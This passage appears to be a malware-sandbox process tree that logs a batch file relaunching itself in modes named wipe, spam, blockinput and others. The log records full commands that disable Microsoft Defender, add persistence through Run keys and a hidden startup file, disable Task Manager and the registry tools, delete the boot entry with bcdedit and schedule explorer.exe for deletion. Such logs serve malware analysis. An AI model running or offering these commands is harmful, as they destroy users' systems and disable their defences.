        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6392
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1312
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:9444
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10900
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9748
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7680
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        Executes a command shell one-liner
        
        PID:6644
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6576
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6480
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10108
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:7304
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:2072
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9948
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6420
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:5320
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8188
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8232
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:9040
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:7868
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:9536
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:6640
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
      4⤵
      Executes a command shell one-liner
      PID:2564
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:3332
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:4676
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:988
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5644
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        Executes a command shell one-liner
        
        PID:4636
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:3716
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:5884
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:2724
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        
        PID:6060
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1224
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:5828
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:2780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:4512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:1688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:7076
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5892
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6252
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4504
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:988
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        Executes a command shell one-liner
        
        PID:1608
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8052
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7508
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6980
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9052
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10940
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7708
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8036
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:6660
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9576
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:7348
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8680
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:2832
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7624
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:6516
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1704
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9344
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:1728
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:7580
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:9120
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10776
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9472
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:11068
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7760
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6156
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:7628
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:9156
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8796
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10716
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:10548
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7396
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:2072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10256
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:7636
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2812
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6284
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:10792
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:4816
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:4104
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4956
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        Executes a command shell one-liner
        
        PID:7964
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8164
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7844
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11072
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:2844
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10284
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1456
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:5576
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        Executes a command shell one-liner
        
        PID:7676
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7412
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9696
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8772
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:936
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7400
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6708
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7784
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:8476
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7356
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:9204
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7380
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:6448
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:10784
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:7840
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
      4⤵
      Executes a command shell one-liner
      PID:2444
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:1688
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:2644
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:6128
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2768
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        Executes a command shell one-liner
        
        PID:5236
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:2200
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:1304
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:2264
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:2736
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:5716
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1108
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:3040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:3588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:3008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6572
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6736
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6196
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6388
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4620
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:6896
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7332
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7536
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8160
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:5948
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10160
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4508
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8360
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:7688
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:7108
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7308
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8964
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:2240
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:3924
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9584
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:11204
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:1568
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:6852
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7480
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:3332
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10068
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8512
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6408
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1852
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8544
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        Executes a command shell one-liner
        
        PID:3212
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8212
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9128
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10120
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:9508
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10532
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:5432
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8848
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:6356
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8204
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8016
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10148
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9500
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10216
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1552
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7312
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:1616
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7616
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8112
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
